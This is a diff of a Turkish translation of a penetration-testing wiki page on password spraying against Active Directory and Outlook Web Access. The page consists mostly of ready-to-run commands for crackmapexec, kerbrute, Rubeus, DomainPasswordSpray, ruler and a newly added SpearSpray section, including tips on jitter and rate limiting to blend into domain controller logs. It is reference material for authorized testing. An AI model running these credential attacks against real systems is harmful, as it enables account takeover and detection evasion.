Translated ['', 'src/windows-hardening/active-directory-methodology/pass

src/windows-hardening/active-directory-methodology/password-spraying.md

@@ -1,20 +1,20 @@
-# Şifre Spraying / Brute Force
+# Password Spraying / Brute Force
 
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## **Şifre Spraying**
+## **Password Spraying**
 
-Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı için en **yaygın şifreleri** denemeye başlayabilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\
+Birkaç **geçerli kullanıcı adı** bulduktan sonra, keşfettiğiniz her kullanıcıyla ortamın parola politikasını göz önünde bulundurarak en yaygın **parolaları** deneyebilirsiniz.\
-**Varsayılan** olarak **minimum** **şifre** **uzunluğu** **7**'dir.
+Varsayılan olarak **minimum parola uzunluğu 7**'dir.
 
 Yaygın kullanıcı adı listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-Birden fazla yanlış şifre denerseniz bazı hesapların kilitlenebileceğini unutmayın (varsayılan olarak 10'dan fazla).
+Unutmayın ki **birkaç yanlış parola denerken bazı hesapları kilitleyebilirsiniz** (varsayılan olarak genelde 10'dan fazladır).
 
-### Şifre politikasını öğrenme
+### Parola politikasını alma
 
-Eğer bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **şifre politikasını** **şu şekilde alabilirsiniz**:
+Eğer bazı kullanıcı kimlik bilgilerine sahipseniz veya domain kullanıcısı olarak bir shell'e erişiminiz varsa **parola politikasını şu şekilde alabilirsiniz**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -31,7 +31,7 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Linux'ten (veya tümünden) Sömürü
+### Linux'tan İstismar (veya tüm platformlar)
 
 - **crackmapexec** kullanarak:
 ```bash
@@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 # Brute-Force
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
-- [**spray**](https://github.com/Greenwolf/Spray) _**(kilitlenmeleri önlemek için deneme sayısını belirtebilirsiniz):**_
+- [**spray**](https://github.com/Greenwolf/Spray) _**(hesap kilitlenmelerini önlemek için deneme sayısını belirtebilirsiniz):**_
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
-- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) kullanarak - TAVSİYE EDİLMİYOR, BAZEN ÇALIŞMAYABİLİR
+- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - ÖNERİLMEZ, BAZEN ÇALIŞMAYABİLİR
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@@ -69,7 +69,7 @@ done
 ```
 #### Windows'tan
 
-- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülü ile versiyonu:
+- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülüne sahip sürüm ile:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -77,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alarak denemeleri buna göre sınırlayabilir):
+- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak domain'den kullanıcıları oluşturabilir ve parola politikasını domain'den alır ve denemeleri buna göre sınırlar):
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -89,17 +89,82 @@ Invoke-SprayEmptyPassword
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
+### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
+
+Kerberos pre-auth–based spraying, SMB/NTLM/LDAP bind denemelerine göre gürültüyü azaltır ve AD kilitleme politikalarıyla daha iyi uyum sağlar. SpearSpray, LDAP kaynaklı hedefleme, bir desen motoru ve politika farkındalığını (domain policy + PSOs + badPwdCount buffer) birleştirerek hassas ve güvenli bir şekilde spray yapar. Ayrıca Neo4j'de ele geçirilmiş principal'leri BloodHound pathing için etiketleyebilir.
+
+Key ideas:
+- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
+- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
+- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
+- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
+- Throughput control with threads, jitter, and max requests per second.
+- Optional Neo4j integration to mark owned users for BloodHound.
+
+Basic usage and discovery:
+```bash
+# List available pattern variables
+spearspray -l
+
+# Basic run (LDAP bind over TCP/389)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
+
+# LDAPS (TCP/636)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
+```
+Hedefleme ve desen kontrolü:
+```bash
+# Custom LDAP filter (e.g., target specific OU/attributes)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
+-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
+
+# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
+```
+Gizlilik ve güvenlik kontrolleri:
+```bash
+# Control concurrency, add jitter, and cap request rate
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
+
+# Leave N attempts in reserve before lockout (default threshold: 2)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
+```
+Neo4j/BloodHound zenginleştirmesi:
+```bash
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
+```
+Desen sistemi genel bakışı (patterns.txt):
+```text
+# Example templates consuming per-user attributes and temporal context
+{name}{separator}{year}{suffix}
+{month_en}{separator}{short_year}{suffix}
+{season_en}{separator}{year}{suffix}
+{samaccountname}
+{extra}{separator}{year}{suffix}
+```
+Kullanılabilir değişkenler şunlardır:
+- {name}, {samaccountname}
+- Her kullanıcının pwdLastSet (veya whenCreated) değerinden türetilen zaman bileşenleri: {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- Kompozisyon yardımcıları ve organizasyon tokenı: {separator}, {suffix}, {extra}
+
+Operasyonel notlar:
+- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için -dc ile PDC-emulator'a sorgu göndermeyi tercih edin.
+- badPwdCount sıfırlamaları, gözlem penceresinden sonraki bir sonraki denemede tetiklenir; güvenli kalmak için eşik ve zamanlamayı kullanın.
+- Kerberos pre-auth denemeleri DC telemetrilerinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın.
+
+> İpucu: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
+
 ## Outlook Web Access
 
-Outlook için p**assword spraying** yapmak için birden fazla araç vardır.
+p**assword spraying outlook** için birden fazla araç vardır.
 
-- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) ile
+- İle [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
-- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) ile
+- İle [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
-- [Ruler](https://github.com/sensepost/ruler) ile (güvenilir!)
+- İle [Ruler](https://github.com/sensepost/ruler) (güvenilir!)
-- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) ile (Powershell)
+- İle [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
-- [MailSniper](https://github.com/dafthack/MailSniper) ile (Powershell)
+- İle [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
 
-Bu araçlardan herhangi birini kullanmak için bir kullanıcı listesine ve bir şifreye / bir dizi şifreye ihtiyacınız var.
+Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve spray yapmak için bir password / küçük bir password listesine ihtiyacınız var.
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
@@ -120,6 +185,11 @@ Bu araçlardan herhangi birini kullanmak için bir kullanıcı listesine ve bir
 
 ## Referanslar
 
+- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
+- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
+- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
+- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
+- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)